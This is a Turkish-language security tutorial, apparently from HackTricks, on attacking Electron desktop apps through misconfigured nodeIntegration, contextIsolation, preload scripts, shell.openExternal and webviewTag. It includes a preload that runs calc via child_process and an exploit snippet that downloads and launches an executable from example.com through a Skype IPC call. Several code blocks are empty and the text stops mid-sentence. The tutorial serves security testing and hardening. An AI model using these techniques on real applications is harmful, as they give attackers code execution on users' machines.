# Electron Masaüstü Uygulamaları
{{#include ../../../banners/hacktricks-training.md}}
## Giriş
Electron, yerel bir arka uç (**NodeJS**) ve bir ön uç (**Chromium**) birleştirir, ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Genellikle, electron uygulama kodunu bir `.asar` uygulaması içinde bulabilirsiniz, kodu elde etmek için onu çıkarmanız gerekir:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasının belirtildiğini bulabilirsiniz.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron'ın 2 işlem türü vardır:
- Ana İşlem (NodeJS'ye tam erişimi vardır)
- Render İşlemi (güvenlik nedenleriyle NodeJS erişimi kısıtlanmalıdır)
.png>)
Bir **render işlemi**, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** ayarları **main.js** dosyası içinde **main process**'te **yapılandırılabilir**. Bazı yapılandırmalar, **ayarlar doğru bir şekilde yapılandırıldığında** Electron uygulamasının RCE veya diğer güvenlik açıklarını **önlemesine** yardımcı olacaktır.
Electron uygulaması, Node apileri aracılığıyla **cihazı erişebilir**, ancak bunu önlemek için yapılandırılabilir:
- **`nodeIntegration`** - varsayılan olarak `kapalıdır`. Açık olduğunda, renderer process'ten node özelliklerine erişime izin verir.
- **`contextIsolation`** - varsayılan olarak `açıktır`. Kapalı olduğunda, main ve renderer süreçleri izole edilmez.
- **`preload`** - varsayılan olarak boştur.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlar.
- Workers'da Node Entegrasyonu
- **`nodeIntegrationInSubframes`** - varsayılan olarak kapalıdır.
- Eğer **`nodeIntegration`** **etkinleştirilirse**, bu, Electron uygulaması içinde **iframe'lerde yüklenen** web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir.
- Eğer **`nodeIntegration`** **devre dışı bırakılırsa**, o zaman preloads iframe içinde yüklenecektir.
Yapılandırma örneği:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Bazı **RCE yükleri** [buradan](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
Example Payloads (Linux & MacOS):
```
### Trafiği Yakala
Başlangıç-ana yapılandırmasını değiştirin ve aşağıdaki gibi bir proxy kullanın:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Yerel Kod Enjeksiyonu
Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhtemelen keyfi javascript kodu çalıştırabilirsiniz. Bunu nasıl yapacağınızı kontrol edin:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Eğer **nodeIntegration** **açık** olarak ayarlandıysa, bir web sayfasının JavaScript'i Node.js özelliklerini kolayca kullanabilir, sadece `require()` çağrısı yaparak. Örneğin, Windows'ta calc uygulamasını çalıştırmanın yolu:
```html
```
## RCE: preload
Bu ayardaki script, **renderer'daki diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişimi vardır**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Bu nedenle, script node-features'ı sayfalara aktarabilir:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
```
> [!NOTE] > **Eğer `contextIsolation` açıksa, bu çalışmayacak**
## RCE: XSS + contextIsolation
_**contextIsolation**_ , **web sayfası betikleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtarak her bir kodun JavaScript yürütmesinin birbirini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
Eğer bağlamlar izole edilmemişse, bir saldırgan:
1. **renderer'da keyfi JavaScript çalıştırabilir** (XSS veya harici sitelere yönlendirme)
2. Preload veya Electron iç kodunda kullanılan **yerleşik yöntemi** kendi fonksiyonuna **üst üste yazabilir**
3. **üst üste yazılmış fonksiyonun** kullanılmasını **tetikleyebilir**
4. RCE?
Yerleşik yöntemlerin üst üste yazılabileceği 2 yer vardır: Preload kodunda veya Electron iç kodunda:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Tıklama olayını atlatma
Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, bunları **normal bir sol tıklama yerine orta tıklama yaparak** atlatabilirsiniz.
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Bu örnekler hakkında daha fazla bilgi için [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) adreslerini kontrol edin.
Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. **İstemci tarafı uzaktan kod yürütme (RCE)**, ön yükleme betikleri veya ana süreçten Electron'un yerel kodunu hedef alarak bu ayarlar ile etkili bir şekilde engellenir.
Bir kullanıcının bağlantılarla etkileşime girmesi veya yeni pencereler açması durumunda, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Bu dinleyiciler, **masaüstü uygulaması tarafından** kendi **iş mantığını** uygulamak için **geçersiz kılınır**. Uygulama, yönlendirilmiş bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon `false` dönerse, bağlantının harici olarak açılması gerektiğini belirtir ve `shell.openExternal` fonksiyonu kullanılır.
**İşte basitleştirilmiş bir pseudocode:**
.png>)
.png>)
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriğin kabul edilmemesini önerir, çünkü bu çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa [başvurulabilir](https://positive.security/blog/url-open-rce#windows-10-19042), bu kaynak, bu güvenlik açığını istismar edebilecek Windows protokol örneklerini içermektedir.
macos'ta, `openExternal` fonksiyonu, `shell.openExternal('file:///System/Applications/Calculator.app')` gibi rastgele komutlar çalıştırmak için istismar edilebilir.
**Windows protokol istismarlarına örnekler şunlardır:**
```html
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Bu zafiyet **[bu raporda](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** bulunabilir.
**webviewTag**, **NodeJS**'in **renderer process** içinde kullanılmasına izin veren **kullanımdan kaldırılmış bir özelliktir**, bu da preload bağlamında bir script yüklenmesine olanak tanıdığı için devre dışı bırakılmalıdır:
```xml
```
Bu nedenle, rastgele bir sayfayı yüklemeyi başaran bir saldırgan, o etiketi kullanarak **rastgele bir ön yükleme betiği** yükleyebilir.
Bu ön yükleme betiği daha sonra **RCE elde etmek için `shell.openExternal`** çağrısı yapan **kırılgan IPC servisini (`skype-new-window`)** çağırmak için istismar edildi:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## İç Dosyaları Okuma: XSS + contextIsolation
**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve dışarı aktarmak için `` etiketlerinin**, `